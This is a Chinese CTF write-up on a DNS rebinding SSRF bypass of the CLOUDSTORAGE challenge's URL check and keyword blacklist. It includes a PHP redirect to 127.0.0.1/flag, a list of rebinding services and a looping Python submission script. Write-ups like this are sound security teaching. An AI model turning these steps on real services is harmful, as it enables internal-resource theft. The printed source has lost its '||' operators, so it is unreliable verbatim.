Author:颖奇L'Amore
Blog:www.gem-love.com
题目介绍 在12月23日华为XCTF高校网络安全专题挑战赛-鲲鹏计算专场中,出现了一道DNS Rebinding Attack的题目,题目名称CLOUDSTORAGE,附件给了docker
app.js
const express = require ('express' );const env = require ('dotenv' ).config();const session = require ('express-session' );const FileStore = require ('session-file-store' )(session);const cookieParser = require ("cookie-parser" );const path = require ('path' );const crypto = require ("crypto" );const bodyParser = require ('body-parser' );const hbs = require ('hbs' );const {docker} = require ("./routes/docker.js" )const app = express();app.use(express.static('public' )); app.use(cookieParser()); app.use(express.urlencoded({extended : false })); app.use(express.json()); app.use(bodyParser.urlencoded({ extended : false })); app.use(bodyParser.json()); app.use(session({ name : "auth" , secret : env.parsed.session, resave : false , saveUninitialized : true , store : new FileStore({path : __dirname+'/sessions/' }) })); app.set('views' , path.join(__dirname, "views/" )) app.engine('html' , hbs.__express) app.set('view engine' , 'html' ) app.use((req, res, next ) => { if (!req.session.files ) req.session.files = []; if (!req.session.name) req.session.name = md5(req.ip); next(); }) const md5 = function (s ) { return crypto.createHash('md5' ).update(s).digest('hex' ) }require ('./routes/cos.js' )(app, md5, docker)require ("./routes/panel.js" )(app, md5, docker)app.get('/flag' , function (req, res ) { if (req.ip === '127.0.0.1' ) { res.status(200 ).send(env.parsed.flag) } else res.status(403 ).end('not so simple' ); }); app.listen(80 , "0.0.0.0" );
cos.js
module .exports = function (app, md5, docker ) { const multer = require ('multer' ); const fs = require ('fs' ); const path = require ('path' ) const upload = multer({dest : '/tmp/upload_tmp/' }); app.get('/' , function (req, res ) { res.render("upload" ) }); app.post('/upload' , upload.any(), function (req, res ) { if (!req.files[0 ]) { res.send( JSON .stringify({"code" : "-1" , "message" : "you are not allowed" }) ) return ; } let filename = md5(req.files[0 ].originalname + req.files[0 ].size + req.ip) let des_file = "static/upload/" + filename; if (fs.existsSync(des_file)) { res.end( JSON .stringify( {"code" : "-1" , "message" : "already existed!" } ) ) return } fs.readFile( req.files[0 ].path, function (err, data ) { fs.writeFile(des_file, data, function (err ) { let response; if (err) { response = {"code" : "-1" , "message" : "err!" } } else { response = { code : '0' , filepath : des_file, message : `http://${docker.host} :${docker.port} /download/${filename} ` }; req.session.files.push(filename) } res.end( JSON .stringify( response ) ); }); }); }); app.get('/download/:file' , (req, res ) => { let filename = req.url.split("/download/" ).slice(1 ,req.url.split("/download/" ).length).join("" ) if (filename.indexOf('..' ) !== -1 ) { res.end( JSON .stringify( {"code" : "-1" , "message" : "my dear dalao pls stop hacking me" } ) ) return } let file = path.join(__dirname, `../static/upload/${filename} ` ) if (!fs.existsSync(file)) { res.status(404 ).end( JSON .stringify( {"code" : "-1" , "message" : "404 not found" } ) ) return } res.download(file) }) }
docker.js
const env = require ('dotenv' ).config();const docker = { 'ip' : env.parsed.ip '121.37.175.154' , 'port' : env.parsed.port '8000' , 'host' : env.parsed.host 'cloudstorage.xctf.org.cn' } exports .docker = docker
panel.js
module .exports = function (app, md5, docker ) { const request = require ('request' ); const cp = require ('child_process' ) const { check } = require ("./utils" ) app.get('/admin' , async (req, res) => { let host = `http://${docker.host} :${docker.port} /` let html = "" await req.session.files.forEach((file ) => { html += `<a href ='javascript:doPost("/admin", {"fileurl":"${host} download/${file} "})' target=''>${file} </a><br>` + "\n\n" }) res.render("admin" , {"files" : html}) }) app.post('/admin' , (req, res ) => { if ( !req.body.fileurl !check(req.body.fileurl) ) { res.end("Invalid file link" ) return } let file = req.body.fileurl; cp.execSync('sleep 5' ) let options = {url : file, timeout : 3000 } request.get(options ,(error, httpResponse, body ) => { if (!error) { res.set({"Content-Type" : "text/html; charset=utf-8" }) res.render("check" , {"body" : body}) } else { res.end( JSON .stringify({"code" : "-1" , "message" : error.toString()}) ) } }); }) }
utils.js
const cp = require ('child_process' )const ip = require ('ip' )const url = require ('url' );const {docker} = require ("./docker.js" )const checkip = function (value ) { let pattern = /^\d{1,3}(\.\d{1,3}){3}$/ ; if (!pattern.exec(value)) return false ; let ary = value.split('.' ); for (let key in ary) { if (parseInt (ary[key]) > 255 ) return false ; } return true ; } const dnslookup = function (s ) { if (typeof (s) == 'string' && !s.match(/[^\w-.]/ )) { let query = '' ; try { query = JSON .parse(cp.execSync(`curl http://ip-api.com/json/${s} ` )).query } catch (e) { return 'wrong' } return checkip(query) ? query : 'wrong' } else return 'wrong' } const check = function (s ) { if (!typeof (s) == 'string' !s.match(/^http\:\/\// )) return false let blacklist = ['wrong' , '127.' , 'local' , '@' , 'flag' ] let host, port, dns; host = url.parse(s).hostname port = url.parse(s).port if ( host == null port == null ) return false dns = dnslookup(host); if ( ip.isPrivate(dns) dns != docker.ip ['80' ,'8080' ].includes(port) ) return false for (let i = 0 ; i < blacklist.length; i++) { let regex = new RegExp (blacklist[i], 'i' ); try { if (ip.fromLong(s.replace(/[^\d]/g ,'' ).substr(0 ,10 )).match(regex)) return false } catch (e) {} if (s.match(regex)) return false } return true } exports .check = check
题目套了一个云存储的壳,但是上传下载都没有什么卵用,主要看/admin路由:
app.post('/admin' , (req, res ) => { if ( !req.body.fileurl !check(req.body.fileurl) ) { res.end("Invalid file link" ) return } let file = req.body.fileurl; cp.execSync('sleep 5' ) let options = {url : file, timeout : 3000 } request.get(options ,(error, httpResponse, body ) => { if (!error) { res.set({"Content-Type" : "text/html; charset=utf-8" }) res.render("check" , {"body" : body}) } else { res.end( JSON .stringify({"code" : "-1" , "message" : error.toString()}) ) } }); })
POST提交fileurl参数,首先调用check()
进行url的验证,然后同步执行sleep 5
命令,只有request
去访问并把访问的结果渲染进模板 存在/flag路由,只有本地访问才能拿到flag:
app.get('/flag' , function (req, res ) { if (req.ip === '127.0.0.1' ) { res.status(200 ).send(env.parsed.flag) } else res.status(403 ).end('not so simple' ); });
所以题目意图就很明显了,通过request
想办法去访问到/flag并把flag带出来 URL的检测就是check
函数
const checkip = function (value ) { let pattern = /^\d{1,3}(\.\d{1,3}){3}$/ ; if (!pattern.exec(value)) return false ; let ary = value.split('.' ); for (let key in ary) { if (parseInt (ary[key]) > 255 ) return false ; } return true ; } const dnslookup = function (s ) { if (typeof (s) == 'string' && !s.match(/[^\w-.]/ )) { let query = '' ; try { query = JSON .parse(cp.execSync(`curl http://ip-api.com/json/${s} ` )).query } catch (e) { return 'wrong' } return checkip(query) ? query : 'wrong' } else return 'wrong' } const check = function (s ) { if (!typeof (s) == 'string' !s.match(/^http\:\/\// )) return false let blacklist = ['wrong' , '127.' , 'local' , '@' , 'flag' ] let host, port, dns; host = url.parse(s).hostname port = url.parse(s).port if ( host == null port == null ) return false dns = dnslookup(host); if ( ip.isPrivate(dns) dns != docker.ip ['80' ,'8080' ].includes(port) ) return false for (let i = 0 ; i < blacklist.length; i++) { let regex = new RegExp (blacklist[i], 'i' ); try { if (ip.fromLong(s.replace(/[^\d]/g ,'' ).substr(0 ,10 )).match(regex)) return false } catch (e) {} if (s.match(regex)) return false } return true }
check()
主要逻辑如下:
url.parse()
解析通过
利用公网上一个dns解析的api来解析,解析出的ip不能是私有ip并且必须等于docker.ip
端口不能是80或者8080
之后for循环匹配了一些黑名单关键字
这些全过了才可以,尤其是解析的ip必须是题目服务器的ip这个很恶心,而且公网这个dns解析的api对于域名可以解析出A记录地址,对于ip地址则返回这个ip地址,基本也没什么办法绕过,尤其对js不熟悉的同学更是无从下手。
DNS重绑攻击 DNS重绑攻击的详细介绍网上有很多文章,这里就以本例题给大家介绍一下。 当一个url被提交到/admin路由,题目干了两件事:
check()
内利用公网那个api对域名进行了第一次解析
sleep 5
后,request.get()访问url对域名进行了第二次解析
正如它的名字“重绑”,攻击者准备一个域名,在check时解析到了题目的ip地址,于是理所当然的过了check;之后,攻击者将其“重新绑定”到一个攻击者的ip或者内网ip或者本地ip,再第二次访问时第二次解析,此时解析出来的IP已经被重绑到了新的ip,于是就访问到了攻击者/内网/本地;这里的sleep本身也是一个助攻,因为这个时间差可以更利于重绑攻击的实现。 在CTF中,DNS重绑主要应用在SSRF题目中,例如2020 ASIS CTF PyCrypto。DNS重绑攻击的条件是要进行多次DNS解析,并且利用这个DNS解析的时间差来进行一些利用,关键是要找到DNS解析的顺序以及代码的逻辑,然后尝试重绑攻击。 很多时候DNS重绑是先过check然后重绑到127.0.0.1来SSRF。本题目的SSRF和常规SSRF的套路一致,但不能重绑到127.0.0.1,因为本地是80端口,但是check()
并不允许访问80端口;所以我们可以让它解析到攻击者的ip并且是非80/8080端口,当访问到攻击者时,利用302跳转到http://127.0.0.1:80/flag,request会默认follow这个302重定向,即可SSRF成功。
攻击实现 相信有的选手尽管了解到这个攻击原理,但是没有一个好用的DNS Rebinding平台,这里列出几个免费的:
https://requestrepo.com/
https://lock.cmpxchg8b.com/rebinder.html
http://rbnd.gl0.eu/
以第一个requestrepo为例: 首先准备一台个人服务器,开放非80/8080端口(我开的12389),跳转到http://127.0.0.1/flag
<?php header("Location: http://127.0.0.1:80/flag" );
来到requestrepo,DNS设置:
提交这个url到/admin:http://y1ng.s268zbgn.requestrepo.com:12389/hw.php 因为随机解析不一定每次都成功、api可能会请求1~2次、DNS缓存、题目比较卡等多方面原因,直接提交可能不会成功,就写脚本循环提交就好了
import requests as reqs = req.session() url = "http://cloudstorage.xctf.org.cn:8011/admin" data = {"fileurl" : "http://y1ng.s268zbgn.requestrepo.com:12389/hw.php" } while True :try :text = s.post(url=url, data=data, timeout=10 ).text print (text)if "flag{" in text:exit(0 ) except Exception as e :print (e)
当然也可以用一些现成的框架自己搭